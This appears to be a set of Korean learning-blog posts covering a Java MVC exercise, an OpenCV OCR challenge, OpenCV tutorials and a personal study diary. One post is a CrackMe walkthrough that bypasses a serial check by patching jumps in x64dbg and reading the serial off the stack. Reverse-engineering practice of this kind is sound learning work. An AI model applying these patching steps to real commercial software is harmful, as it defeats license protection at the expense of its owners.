문제 자체는 이렇다. [출처: 김영한의 자바 입문 - 코드로 시작하는 자바 첫걸음]

강의에서는 기본적으로 배열 2개와 조건문, 반복문만을 이용해서 간단하게 구현한다. 그런데 문득 이 문제를 보는 순간 이전 글의 MVC 패턴이 생각났고, 해당 방법으로 구현해 보자는 생각이 들었다. 나는 프로그래밍 언어를 새로 배울 때 스스로 이것저것 만들어 보는 것이 가장 중요하다고 생각하는 사람이라 마음이 더 동했던 것 같다.

첫 번째로 구현한 부분은 Model이다. 이 프로그램은 말 그대로 상품 관리 프로그램이기 때문에 Model은 상품의 정보를 담고 있는 클래스여야한다고 생각했다. 따라서 다음과 같이 구현했다.

package product;

public class Product {
    private String name;
    private int price;

    public Product(String name, int price) {
        this.name = name;
        this.price = price;
    }

    public String getName() {
        return name;
    }

    public int getPrice() {
        return price;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setPrice(int price) {
        this.price = price;
    }
}

MVC 패턴의 1규칙인 'Model은 Controller와 View에 의존하지 않아야 한다. 즉, Model내부에 Controller와 View에 관련된 코드가 있으면 안 된다.'를 생각하며 작성한 코드이다.

다음은 View부분이다.

package product;

public class OutputView {
    public static void printProduct(Product product) {
        System.out.println(product.getName() + ": " + product.getPrice() + "원");
    }

    public static void printMenu() {
        System.out.println("1. 상품 등록 | 2. 상품 목록 | 3. 종료");
        System.out.print("메뉴를 선택하세요: ");
    }

    public static void printExit() {
        System.out.println("프로그램을 종료합니다.");
    }

    public static void printNoMoreProducts() {
        System.out.println("더 이상 상품을 등록할 수 없습니다.");
    }

    public static void printInputName() {
        System.out.print("상품 이름을 입력하세요: ");
    }

    public static void printInputPrice() {
        System.out.print("상품 가격을 입력하세요: ");
    }

    public static void printNoProducts() {
        System.out.println("등록된 상품이 없습니다.");
    }
}

View는 Controller에 의존하면 안 되기 때문에 Controller로부터 상품 정보를 넘겨받아 출력하는 부분과 기타 출력 부분을 구현하였다.

마지막으로 Controller부분이다.

package product;

import java.util.Scanner;

public class Controller {

    public static void main(String[] args) {
        Product[] products = new Product[10];
        Scanner scanner = new Scanner(System.in);
        // 상품 재고
        int inventory = 0;

        while (true) {
            int menu;

            OutputView.printMenu();
            menu = scanner.nextInt();
            if (menu == 3) { // 프로그램 종료
                OutputView.printExit();
                break;
            } else if (menu == 1) { // 상품 등록
                if (inventory == 10) { // 상품믈 더 이상 등록할 수 없는 경우
                    OutputView.printNoMoreProducts();
                } else {
                    OutputView.printInputName();
                    scanner.nextLine();
                    String name = scanner.nextLine();
                    OutputView.printInputPrice();
                    int price = scanner.nextInt();
                    products[inventory] = new Product(name, price);
                    inventory++;
                }
            } else { // 상품 목록
                if (inventory == 0) { // 등록된 상품이 없는 경우
                    OutputView.printNoProducts();
                } else {
                    for (int i = 0; i < inventory; i++) {
                        OutputView.printProduct(products[i]);
                    }
                }
            }
        }
    }
}

사실 규칙에 맞게 제대로 잘 구현했는지는 모르겠다. 하지만 이렇게 일종의 패턴을 지키려고 노력하면서 프로그래밍을 해본 경험은 처음인데 확실히 유지보수를 위해 쓰기 시작했다는 말이 무슨 뜻인지 알 것 같다.

명확하게 기능이 나뉘어있기 때문에 문제가 발생하는 부분을 특정하기도 쉽고 해당 부분만 수정하면 되기 때문이다. main함수의 길이가 너무 긴 것 같아서 나중에는 함수로 따로 빼서 구현해 보려고 한다.

Java자체는 C와 유사한 부분이 초반에는 좀 있어서 기본적인 부분은 빠르게 넘어간 것 같다. 대신, 객체 지향 프로그래밍과 클래스, 상속 등의 부분은 심도 있게 공부하려고 보고 있다.

후술할 모든 내용은 이 동영상을 기반으로 한다. (우아한테크코스의 제리님이 설명하신 영상이다.)

MVC패턴은 프로그래밍을 하는 하나의 방법론이라고 할 수 있는데, MVC는 프로그램의 유지보수를 위해서 생긴 패턴이다. 즉, 유지보수가 편해지는 코드 구성 방식이라고 할 수 있다.

코드를 Model, View, Controller 세 가지로 나누어서 작성하는 것을 뜻하는데, 단순히 나누어서 작성하는 것이 아니라 여기에는 기본적인 동작 원리와 몇 가지 규칙이 존재한다.

사용자는 Controller를 통해 정보를 요청하고, Controller는 사용자가 요청한 정보를 Model에게 요청한다. Model이 Controller에게 정보를 전달하게 되면 Controller는 View에게 해당 정보를 전달한다. 그리고 View는 전달받은 정보를 사용자가 확인할 수 있는 UI에 넣어서 웹 페이지를 통해 사용자에게 보여주는 역할을 한다. 즉, 각각의 역할이 명확하다.

이렇게 역할을 나눠서 프로그래밍을 진행하게 되면, 프로그램 상에서 오류가 발생했을 때, 어떤 부분에서 발생했는지 명확하게 파악할 수 있고 해당 부분의 오류를 수정하기 위해서 다른 부분을 건드릴 필요 없이 해당 부분만 수정하면 된다는 장점이 있다.

참고한 테코톡 영상에서 설명하는 MVC패턴의 규칙은 다음과 같다.

1. Model은 Controller와 View에 의존하지 않아야 한다. 즉, Model내부에 Controller와 View에 관련된 코드가 있으면 안 된다.

2. View는 Model에만 의존해야 하고 Controller에는 의존하면 안 된다. 즉, View 내부에는 Model의 코드만 있을 수 있고 Controller의 코드가 있으면 안 된다.

3. View가 Model로부터 데이터를 받을 때는, 사용자마다 다르게 보여주어야 하는 데이터에 대해서만 받아야 한다.

4. Controller 내부에는 Model과 View에 의존해도 된다. 즉, Controller 내부에는 Model과 View의 코드가 있을 수 있다.

5. View가 Model로부터 데이터를 받을 때, 반드시 Controller에서 받아야 한다.

지금은 아직 Java에 익숙해지는 중이지만, MVC패턴 자체는 프로그래밍 언어에 상관없이 후에 프로그래밍을 하면서 익숙해져야 할 패턴이라고 생각한다.

• 소문자로 시작하는 낙타표기법
  • 변수 이름은 소문자로 시작하는 것이 일반적이다. 여러 단어로 이루어진 변수 이름의 경우, 첫 번째 단어는 소문자로 시작하고 그 이후의 각 단어는 대문자로 시작하는 낙타 표기법(camel case)를 사용한다. (예시: orderDetail, myAccount)
• 클래스는 대문자로 시작, 나머지는 소문자로 시작
  • 자바에서 클래스 이름의 첫 문자는 대문자로 시작한다. 그리고 나머지는 모두 첫 글자를 소문자로 시작한다. 여기에 낙타 표기법을 적용하면 된다.
    • 클래스: Person, OrderDetail
    • 변수를 포함한 나머지: firstName, userAccount
  • 예외 2가지
    • 상수는 모두 대문자 사용, 언더바로 구분
      • USER_LIMIT
    • 패키지는 모두 소문자 사용
      • org.spring.boot
• 변수 이름은 의미있고, 그 용도를 명확하게 설명할 수 있어야 한다!

출처: 김영한의 자바 입문 - 코드로 시작하는 자바 첫걸음

한창 벨로그에 글 올릴 때는 하루에 하나씩 올려야겠다는 마음가짐이었는데 바빠지고 할 일이 많아지다 보니 현실적으로 불가능한 것 같다...

지난 한 달 동안 매우 많은 변화가 있었다. 우선 조금 흐트러지던 내 마음을 다시 잡았다. 계기가 있었는데, 지금 당장 쓸만한 내용은 아니라서 이후에 내가 무언가 이루어 낸다면 그때쯤 지금의 마음가짐에 대해서 써보려 한다.

지금 당장 나에게 가장 큰 일 두 가지는 우선 SSAFY 앰배서더에 지원한 것과 토익 공부를 시작했다는 점?

대학 생활 동안 가장 후회하는 것 한 가지를 꼽자면 지금 당장은 자격증 준비를 안 했던 것이다... 그 자격증 하나 때문에 졸업을 못하고, 졸업을 못했다는 사실 하나만으로 잃는 게 너무나 큰 것 같다.

나는 현재 SSAFY 12기 지원을 목표로 하고 있는데, 졸업 요건이 발목을 잡아서 울며 겨자 먹기로 토익 공부를 시작했다. 달성해야 하는 목표치는 900점 이상인데, 까짓거 한번 해보기로 했다. 이번 기회에 빡세게 공부해서 점수 따면 두고두고 좋을 것 같기도 하고... 게을렀던 나에 대한 벌이라고 생각도 해서 어쩔 수 없는 것 같다.

그런 와중에 얼마 전에 SSAFY 앰배서더 모집 공고를 봤었는데, 기왕 SSAFY 지원하려고 토익도 공부하는 마당에 SSAFY 앰배서더도 해보고 싶다는 생각이 들어서 마음먹고 지원해 봤다.

구글 폼으로 지원하는 방식인데, 아무래도 앰배서더가 홍보하는 느낌이라서 그런지 SNS 운영하는 사람이 유리한 면이 있는 것 같다. 평소에 인스타그램이나 X, 메타같은 SNS를 하지 않는 나로서는 조금 아쉽지만 그래도 나름 벨로그 있으니까... 잘 됐으면 좋겠다.

다시 토익 얘기로 돌아와서, 나는 토익이 나름 이해와 스킬의 영역이라고 생각했었는데 강의 듣고 생각이 바뀌었다. 이건 미친 암기 싸움이고 암기가 없으면 아무것도 안 된다...

토익을 보기로 결심하고 그날 바로 박혜원쌤 환급코스 결제했는데, 지금까진 만족스럽다. 확실하게 스킬과 암기 위주로 점수 뽑아내는 법을 알려주시는 것 같다. LC 같은 경우는 교육장 다니면서 사이사이 지하철, 버스에서 무작정 듣고 있고 운동할 때도 LC만 듣는 것 같다. 신기한 건 나름 듣다 보니까 잘 들려지고 있는 것 같다는 착각을 하는 건...가..... 여튼, 4월 14일에 시험 접수를 했는데 그날이 마침 또 LCK 결승전이다. 그날 토익시험 기깔나게 보고 LCK 봐야지.

제공된 데이터셋을 분석하여 도전 주제에 맞춘 비전 기술을 개발하라!

챌린지 배경

• 명함 관리 전문 서비스를 운영하고 있는 A사에서는 기존에 카메라로만 등록 처리했던 명함 이미지 서비스를 확장할 계획을 세우고 있습니다.
• 기존에 사용자들이 촬영해 둔 명함 이미지도 불러와 인식할 수 있도록 만드는 것이 새로운 서비스의 목표입니다.
• 하지만 기존 촬영본의 경우 이미지 크기, 방향, 배경과의 대비, 조명 등 다양한 환경 조건으로 인해 일관된 OCR 적용이 어려운 상황입니다.
• 따라서 다양한 조건으로 촬영된 주어진 명함 이미지들을 자동으로 전처리해 OCR을 적용하는 코드를 작성해야 해야 합니다.

데이터셋

images.zip: 다양한 조건에서 촬영된 명함 이미지 36장

데이터 분석

데이터로는 명함이미지 36장이 주어졌는데, 이미지들의 특성이 각각 제각각이었다. 어떤 이미지는 거꾸로 찍힌 이미지도 있었고 어떤 이미지는 명함이 잘려서 찍힌 이미지도 있었고, 또 어떤 이미지는 여러 명함이 동시에 찍힌 이미지도 있었다.

이러한 상황에서 명함의 네 모서리를 정확히 탐지해서 투시변환하는 작업이 어렵다고 생각했고, 직접 수동으로 OCR을 진행할 부분을 지정하는게 좋겠다고 생각했다.

따라서 마우스 이벤트를 이용해 명함 이미지를 띄운 후 OCR을 진행할 꼭짓점 네 군데를 지정하는 방식으로 진행했다.

# 마우스 클릭 이벤트 콜백 함수
def mouse_callback(event, x, y, flags, param):

    # 마우스 왼쪽 버튼을 클릭할 때
    if event == cv.EVENT_LBUTTONDOWN:
        if len(coords) == 0:
            print(f"좌상단: ({x}, {y})")
            coords.append((x, y))

        elif len(coords) == 1:
            print(f"우상단: ({x}, {y})")
            coords.append((x, y))

        elif len(coords) == 2:
            print(f"좌하단: ({x}, {y})")
            coords.append((x, y))

        elif len(coords) == 3:
            print(f"우하단: ({x}, {y})")
            coords.append((x, y))

        # 좌표가 4개가 되면
        if len(coords) == 4:
            # 종료
            cv.destroyAllWindows()

이런식으로 클릭할 때마다 해당 좌표가 출력되는 방식으로 구성했다.

프로그램을 실행할 때 OCR을 진행할 이미지 파일을 두번째 인자로 주는 방법을 선택했고, 좌표를 지정한 후 해당 좌표로 명함 비율에 맞춰 투시변환을 진행했다.

투시변환 이후 그레이 스케일 변환, 가우시안 블러링, 가우시안 쓰레쉬홀딩 및 침슥과정을 진행해 글자를 더욱 선명하게 만들고 테서랙트 OCR을 이용해서 변환 진행하였다.

# 이미지 투시 변환
pts1 = np.float32([coords[0], coords[1], coords[2], coords[3]])
# 해당 좌표로 투시변환 가로 세로 90:50 비율로
pts2 = np.float32([[0, 0], [900, 0], [0, 500], [900, 500]])
m = cv.getPerspectiveTransform(pts1, pts2)
card_image = cv.warpPerspective(img_resized, m, (900, 500))

# to gray scale
gray = cv.cvtColor(card_image, cv.COLOR_BGR2GRAY)
# apply gaussian blur
blurred = cv.GaussianBlur(gray, (3, 3), 0)
# adaptive thresholding
thresh = cv.adaptiveThreshold(blurred, 255, cv.ADAPTIVE_THRESH_GAUSSIAN_C, cv.THRESH_BINARY, 9, 5)
# erode
kernel = np.ones((1, 3), np.uint8)
erode = cv.erode(thresh, kernel, iterations=1)

# OCR 수행
options = "-l kor+eng --oem 3 --psm 6"
text = pyt.image_to_string(erode, config=options)
# output
print(text)

다음과 같이 OCR이 잘 진행되었음을 볼 수 있다.

하지만 이러한 방식의 파이프라인의 한계점은 명확한데, 명함의 비율로 고정 변환을 하기 때문에 한장에 명함 여러징이 있는 경우 해당 명함들의 배치가 리사이즈 비율과 맞지 않다면 한번에 여러장을 처리할 수 없고 해당 이미지 한장을 처리하기 위해 이미지 내의 명함 개수만큼 프로그램을 실행해야 한다는 단점이 있다.

코딩 문제풀이라고는 학부생 시절에 수업 시간에 진행하거나 심심풀이로 풀었던 정도가 다인지라 이번에 프로그래머스 문제들을 풀면서 나의 부족함을 뼈저리게 느꼈다.

분명히 기초, 입문 문제들이라고 써있는데 중간 중간 어려운 것들도 나오기도 했고, 애초에 내가 python에 대해서 엄청나게 모르고 있었구나라는 생각이 들었다.

정말 기본적인 요소들, 리스트나 셋, 딕셔너리같은 파이썬의 자료형에 대해서도 무지했고, 반복문이나 알고리즘도 C언어에 익숙해져있던 나에게(그렇다고 C를 잘하는것도 아니지만...) 어색했다.

그래도 어찌 겨우겨우 이 문제들을 다 풀기는 했는데, 그래봤자 Lv. 0문제들이라 이제 시작인 것 같다. 1월초에 시작했었는데, 중간 중간 밀린 공부가 너무나도 많아서 1월말부터 부랴부랴 다시 시작해서 벼락치기로 끝내버렸다. 아직도 나는 개발자 취업 준비생이라기엔 코딩 실력이 너무너무 떨어지기 때문에, 스스로가 나 파이썬 할 줄 알아라고 말할 수 있기까지는 한참 남은 것 같다.

얼른 Lv. 1문제도 다 풀고 기출문제들 풀어봐야지...

어느정도 문제의 난이도가 올라가고 나니 학부때 흘려들었던 자료구조와 알고리즘의 필요성을 느끼는 중이다. 어떻게 공부를 하면 할수록 계속 공부할게 늘어나는 기분인지...

스스로 부끄럽지 않으려면 아주아주 많이 노력해야 할 것 같다.

얼른 상위 난이도의 문제들도 척척 풀 수 있는 사람이 되기를.

밝기와 대비

img = cv.imread('../samples/lena.jpg')
img_r = cv.cvtColor(img, cv.COLOR_BGR2RGB)
plt.imshow(img_r)

레나라는 이미지는 영상 처리 알고리즘과 관련된 작업에서 굉장히 유명한 이미지이다.

1996년 1월판 IEEE Transactions on Image Processing의 편집장이던 David C. Munson은 레나 사진을 영상처리에 널리 사용하는 이유에 대해 다음과 같이 밝혔다.

먼저, 레나 이미지는 세밀함과 평면, 그림자, 그리고 질감이 적절하게 조화되어 있어서 다양한 이미지 처리 알고리즘을 처리하는 데 좋다. 이 이미지는 정말 좋은 시험용 이미지이다. 둘째로, 레나 이미지는 매력적인 여성의 사진이다. 그러므로 이미지 처리 연구 분야 종사자들이 매력적이라고 느끼는 이미지에 끌리는 것은 대다수가 남자이기 때문에, 별로 놀라울 게 없다.

출처: 위키백과

우선 밝기와 대비의 차이를 보다 극명하게 보기 위해 이미지를 그레이 스케일로 바꿔주었다.

img = cv.cvtColor(img, cv.COLOR_BGR2GRAY)
plt.imshow(img, cmap='gray')

이제 이미지의 픽셀값들에 단순 수치 더하기 빼기를 진행해보자.

img1 = img - 100
plt.imshow(img1, cmap='gray')
img2 = img + 100
plt.imshow(img2, cmap='gray')

다시, openCV에서 제공하는 cv.add함수를 이용해보자.

img3 = cv.add(img, 100)
plt.imshow(img3, cmap='gray')
img3 = cv.add(img, -100)
plt.imshow(img3, cmap='gray')

단순 더하기 빼기와는 다르게 이미지 자체가 살아있으면서 조절되는것을 볼 수 있다.

img = cv.imread('../samples/lena.jpg', cv.IMREAD_GRAYSCALE)

def on_brightness(pos, src):
    dst = cv.add(src, pos)
    return dst

cv.namedWindow('image')
cv.createTrackbar('brightness', 'image', 0, 255, lambda x: x)

while cv.waitKey(1) != 27:
    bright = cv.getTrackbarPos('brightness', 'image')

    img_br = on_brightness(bright, img)
    cv.imshow('image', img_br)

cv.destroyAllWindows()

위는 트랙바를 이용해 밝기를 조절하는 프로그램이다.

def on_contrast(pos, src):
    pos -= 10
    dst = src + (src - 128) * pos
    return dst

cv.namedWindow('image')
cv.createTrackbar('contrast', 'image', 0, 20, lambda x: x)

while cv.waitKey(1) != 27:
    bright = cv.getTrackbarPos('contrast', 'image')

    img_br = on_contrast(bright, img)
    cv.imshow('image', img_br)

cv.destroyAllWindows()

같은 방법으로 대비를 조절하는 프로그램도 작성해보았다.

변환

이미지 변환에 대해서 살펴보자.

# 이미지 크기 조정

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread('../samples/messi5.jpg')

res1 = cv.resize(img, None, fx=2, fy=2, interpolation=cv.INTER_CUBIC)
print(img.shape, res1.shape)

h, w = img.shape[:2]
res2 = cv.resize(img, (2*w, 2*h), interpolation=cv.INTER_CUBIC)
print(res2.shape)

ax1.imshow(img)
ax2.imshow(res1)

언뜻 보면 별 차이가 없어보이지만 사실은 오른쪽의 메시가 사이즈를 두배로 늘린 메시이다.

# 이미지 위치 변경

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread('../samples/messi5.jpg')

r, c = img.shape[:2]
m = np.float32([[1, 0, 100], [0, 1, 50]])
dst = cv.warpAffine(img, m, (c, r))

ax1.imshow(img)
ax2.imshow(dst)

warpAffine함수를 이용해서 이미지의 위치를 조정할 수 있다.

# 이미지 회전

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread('../samples/messi5.jpg')

r, c = img.shape[:2]
m = cv.getRotationMatrix2D(((c-1)/2.0, (r-1)/2.0), 90, 1)
dst = cv.warpAffine(img, m, (c, r))

ax1.imshow(img)
ax2.imshow(dst)

getRotationMatrix2D함수를 이용하면 이미지를 회전시킬 수 있다.

각도를 정하지 않고 반전시키는 경우에는 cv.flip함수를 이용하면 된다.

# 이미지 회전2

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(2, 2, 1)
ax2 = fig.add_subplot(2, 2, 2)
ax3 = fig.add_subplot(2, 2, 3)
ax4 = fig.add_subplot(2, 2, 4)

img = cv.imread('../samples/messi5.jpg')

r, c = img.shape[:2]

ax1.imshow(img)
ax2.imshow(cv.flip(img, -1))
ax3.imshow(cv.flip(img, 0))
ax4.imshow(cv.flip(img, 1))

다음은 이미지 어파인 변환인데, 좌표를 지정해서 변환시키면 마치 사선으로 보는듯하게 변환시키는것도 가능하다. 이게 가능하다는것은 애초에 사선으로 되어있는 이미지를 정방향으로 보이게끔 변환할 수 있다는것을 뜻한다.

# 이미지 affine 변환

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)


img = cv.imread('../samples/chessboard.png')

r, c = img.shape[:2]

pts1 = np.float32([[50, 50], [200, 50], [50, 200]])
pts2 = np.float32([[10, 100], [200, 50], [100, 250]])

m = cv.getAffineTransform(pts1, pts2)
dst = cv.warpAffine(img, m, (c, r))

ax1.imshow(img)
ax2.imshow(dst)

다음은 이미지 투시 변환이다. 투시 변환은 이미지 내에 존재하는 객체의 꼭짓점등을 이용하여 변환시키는 것이다.

# 이미지 투시 변환

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)


img = cv.imread('../samples/sudoku.png')

r, c = img.shape[:2]

pts1 = np.float32([[70, 85], [495, 68], [30, 520], [520, 520]])
pts2 = np.float32([[0, 0], [300, 0], [0, 300], [300, 300]])

m = cv.getPerspectiveTransform(pts1, pts2)
dst = cv.warpPerspective(img, m, (300, 300))

ax1.imshow(img)
ax2.imshow(dst)

# 이미지 투시 변환

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)


img = cv.imread('../samples/left04.jpg')

r, c = img.shape[:2]

pts1 = np.float32([[160, 85], [550, 50], [150, 380], [570, 400]])
pts2 = np.float32([[0, 0], [400, 0], [0, 400], [400, 400]])

m = cv.getPerspectiveTransform(pts1, pts2)
dst = cv.warpPerspective(img, m, (400, 400))

ax1.imshow(img)
ax2.imshow(dst)

히스토그램 평탄화

이미지 히스토그램이란 어떤 이미지에서 밝은 픽셀과 어두운 픽셀의 분포를 히스토그램으로 나타낸 것이다. 이러한 이미지의 히스토그램을 평탄화시켜주면 픽셀의 분포가 치우쳐져있다가 고루 분포되기 때문에 전체적으로 조금 더 잘 보이게 된다.

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread('../samples/lena.jpg',0)

ax2.hist(img.ravel(),256,[0,256])
ax1.imshow(img, cmap='gray')

img = cv.imread('../samples/hawkes.bmp',0)
equ = cv.equalizeHist(img)
res = np.hstack((img,equ)) #stacking images side-by-side
plt.imshow(res, cmap='gray')

CrackMe 2번 실습

지난번 크랙미 1번에 이어서 2번을 풀어보자. 분석 환경은 Windows 7 가상환경을 이용하였다. 우선 프로그램을 실행해보았다. 이름과 시리얼번호를 입력할 수 있는 칸이 있다. 모두 asdf라는 값으로 채워넣어보니 다음과 같은 결과가 출력된다.

파일의 기본정보를 PEview를 통해 살펴보자. 파일의 이미지 베이스와 엔트리 포인트 주소 등을 볼 수 있다.

이 파일의 엔트리 포인트 주소는 0x401238인 것으로 보인다. 실제 x64dbg를 통해 확인한 엔트리 포인트의 주소가 일치한다.

두번째로 실행할 주소에 Main함수로 보이는 함수를 Call하는 것을 볼 수 있다. 해당 함수를 살펴보자. 해당 함수 안으로 step into하여 진입했다. 한 줄씩 실행시키며 분석해보자.

step over를 통해 한 줄씩 실행시키다보니 해당 EIP에서 프로그램이 실행되었다. 다시 되돌려서 해당 함수를 살펴보자.

무작정 프로그램이 실행되는 함수들을 찾아서 들어가다보니 너무 깊게 깊게 들어가게 되어서 생각을 달리 해보기로 했다.

우선 BinText로 해당 프로그램에 존재하는 문자열들을 검색한 뒤 IDA로 프로그램을 열어서 출력되는 문자열들을 찾아보았다. 디버거에서 0x403372로 이동해보자. 문자열을 출력하는 부분으로 잘 찾아온 것 같다. 이제 위 아래 어셈블리 코드를 살펴보면서 분기를 찾아보자.

해당 점프문에서 ax레지스터의 값을 체크한 후 제로플래그가 set되면 아래 분기, 즉 Wrong을 출력하는 곳으로 분기되는 것 같다. 해당 부분의 점프문을 jne로 변경해보자. 변경 후 실행해보자. Congratulations!가 나온 직후 Wrong serial!이 연속해서 출력되었다. 프로그램 내부에서 이중으로 체크를 하는 것 같다. 다른 분기도 있는지 살펴보았는데, 그럴듯한 부분이 있었다. 이 부분도 마저 jne로 변경해준 후 다시 실행해보자. 이후 Wrong serial!창이 뜨지 않았다.

다른 방법의 풀이도 가능한데, 첫번째 분기 이전에 브레이크 포인트를 건 후에 스택의 값을 살펴보자. 스택에 C5C5C5C5라는 값이 담겨있다. 해당 값을 시리얼에 입력해보자. 분기에 대한 수정을 하지 않아도 잘 풀리는 것을 확인할 수 있다.

OpenCV란?

OpenCV란 Open Source Computer Vision의 약자로, 영상 처리에 사용할 수 있는 오픈 소스 라이브러리이다. 개인정보 비식별 트랙의 목적은 단순히 정형화된 자료를 비식별 처리하는것이 아니라 이미지나 영상등의 데이터도 비식별 처리를 하는것이 목적이다.

따라서 OpenCV를 이용해 해당 처리를 수행하기 위한 기반을 쌓아보자.

이미지 읽고 쓰기

import cv2 as cv

cv.__version__

'4.9.0'

우선 OpenCV의 버전은 가장 최신 버전을 사용하였다. 이미지를 불러와보자

img = cv.imread('../samples/starry_night.jpg')

if img is None:
    print("Not Found")

img[0].shape

(752, 3)

이미지를 불러온 후 shape을 확인해보니 RGB 3채널로 이루어진 이미지임을 확인할 수 있다. 이미지를 출력해보자.

cv.imshow("Display Window", img)
k = cv.waitKey(0)

성공적으로 출력되는것을 확인할 수 있다. 여기서 waitKey는 키 핸들러 함수인데, 키의 입력을 기다리다가 해당 키를 입력하면 그 키의 아스키 값이 k에 저장된다. 이제 이미지를 저장해보자.

cv.imwrite('starry_night_1.jpg', img)

성공적으로 저장되었다.

비디오 및 웹캠 실행하기

videoFile = '../samples/vtest.avi'

cap = cv.VideoCapture(videoFile)

while(cap.isOpened()):

    ret, frame = cap.read()

    # frame 조작

    if ret:
        cv.imshow('video', frame)

        if cv.waitKey(1) & 0xFF == ord('q'):
            break

    else:
        break

cap.release()
cv.destroyAllWindows()

위의 코드는 vtest.avi를 실행하는 코드이다. waitKey를 이용해 q가 입력되면 종료하도록 했다.

cap = cv.VideoCapture(0)

if not cap.isOpened():
    print("Cannot open camera")

while True:

    ret, frame = cap.read()

    if not ret:
        break

    gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)

    cv.imshow('cam', gray)
    if cv.waitKey(1) == ord('q'):
        break

cap.release()
cv.destroyAllWindows()

웹캠을 실행시킨 후 그레이 스케일(흑백 이미지)로 출력한다. 마찬가지로 waitKey를 이용해 q가 입력되면 종료하도록 했다. 웹캠을 가려놓아 제대로 보이지는 않지만 잘 실행되는것을 볼 수 있다.

도형 그리기

drawing = False # 마우스를 누른 상태에서는 True 값을 가짐
mode = True # True라면 사각형을 그리는 모드 m을 눌러 모드 변경 가능
ix,iy = -1,-1

# 마우스 콜백 함수
def draw_circle(event,x,y,flags,param):
    global ix,iy,drawing,mode

    if event == cv.EVENT_LBUTTONDOWN:
        drawing = True
        ix,iy = x,y
    elif event == cv.EVENT_MOUSEMOVE:
        if drawing == True:
            if mode == True:
                cv.rectangle(img,(ix,iy),(x,y),(0,255,0),-1)
            else:
                cv.circle(img,(x,y),5,(0,0,255),-1)
    elif event == cv.EVENT_LBUTTONUP:
        drawing = False
        if mode == True:
            cv.rectangle(img,(ix,iy),(x,y),(0,255,0),-1)
        else:
            cv.circle(img,(x,y),5,(0,0,255),-1)


img = np.zeros((512,512,3), np.uint8)
cv.namedWindow('image')
cv.setMouseCallback('image',draw_circle)

while(1):
    cv.imshow('image',img)
    k = cv.waitKey(1) & 0xFF

    # 모드 변경
    if k == ord('m'):
        mode = not mode
    elif k == 27:
        break
cv.destroyAllWindows()

사각형과 원을 그리는 코드이다. m키를 토글해서 사각형과 원을 그리는 모드를 변경할 수 있고, 빈 윈도우에 마우스를 이용해 그림을 그릴 수 있다.

도형뿐만 아니라 폴리곤과 선 등도 그릴 수 있다.

트랙바

def nothing(x):
    pass

cv.namedWindow('image')
cv.createTrackbar('R', 'image', 0, 255, nothing)
cv.createTrackbar('G', 'image', 0, 255, nothing)
cv.createTrackbar('B', 'image', 0, 255, nothing)

switch = "0: OFF \n1: ON"
cv.createTrackbar(switch, 'image', 0, 1, nothing)

while True:
    cv.imshow('image', img)
    k = cv.waitKey(1) & 0xFF
    if k == 27:
        break
    r = cv.getTrackbarPos('R', 'image')
    g = cv.getTrackbarPos('G', 'image')
    b = cv.getTrackbarPos('B', 'image')
    s = cv.getTrackbarPos(switch, 'image')

    if s == 0:
        img[:] = 0
    else:
        img[:] = [b, g, r]

cv.destroyAllWindows()

트랙바를 이용해 RGB의 값에 따라 아래 패널의 색을 조절하는 코드이다. 가장 아래는 스위치를 넣어 기능을 ON/OFF 할 수 있게 했다.

ROI

ROI는 아주 중요한 개념이다. ROI는 Region Of Interest의 약자로, 이미지나 영상에서 임의의 작업을 처리하기 위해 연산을 수행하려는 부분의 영역을 의미한다.

img = cv.imread('../samples/messi5.jpg')

plt.imshow(img)

우선 축구선수 메시의 이미지를 불러와보자.

우리는 공에 초록색으로 사각형을 그리려고 한다. 그렇다면 관심 영역(ROI)는 어디일까?

ball = img[280:340, 330:390] # x, y, w, h (280, 330, 60, 60)
plt.imshow(ball)

해당 부분이 ROI라고 할 수 있다. 그렇다면 cv.rectangle을 이용해 그림을 그려보자.

# 사각형
# cv.rectangle(img, 좌측상단코너 좌표, 우측하단코너 좌표, 색상, 굵기)
cv.rectangle(img, (330, 280), (390, 340), (0, 255, 0), 3)

plt.imshow(img)

이처럼 특정 부분을 지정해 임의의 작업을 수행하게 되는데, 이 과정에서 지정하는 영역을 ROI라고 한다.

ROI Selector

img2 = img.copy()

rois = []
drawing = False
ix, iy = -1, -1

def draw_rectangle(event, x, y, flags, param):

    global drawing, ix, iy, rois, overlay, output, alpha

    overlay = img.copy()
    output = img.copy()
    alpha = 0.5

    if event == cv.EVENT_LBUTTONDOWN:
        drawing = True
        ix, iy = x, y

    elif event == cv.EVENT_MOUSEMOVE:
        if drawing == True:
            cv.rectangle(overlay, (ix, iy), (x, y), (0, 255, 0), 3)
            cv.addWeighted(overlay, alpha, output, 1-alpha, 0, img2)
            cv.imshow('image', img2)

    elif event == cv.EVENT_LBUTTONUP:
        if drawing == True:
            print('레이블 입력하세요',)
            label = input()
            w = x - ix 
            h = y - iy
            r = [ix, iy, w, h, label]
            rois.append(r)
            print(rois)

        cv.rectangle(overlay, (ix, iy), (x, y), (0, 255, 0), 3)
        cv.addWeighted(overlay, alpha, output, 1-alpha, 0, img)

        drawing = False
        ix, iy = -1, -1

cv.namedWindow('image')
cv.setMouseCallback('image', draw_rectangle)

while(1):
    cv.imshow('image', img)
    k = cv.waitKey(1) & 0xFF

    if k == 27:
        break

cv.destroyAllWindows()

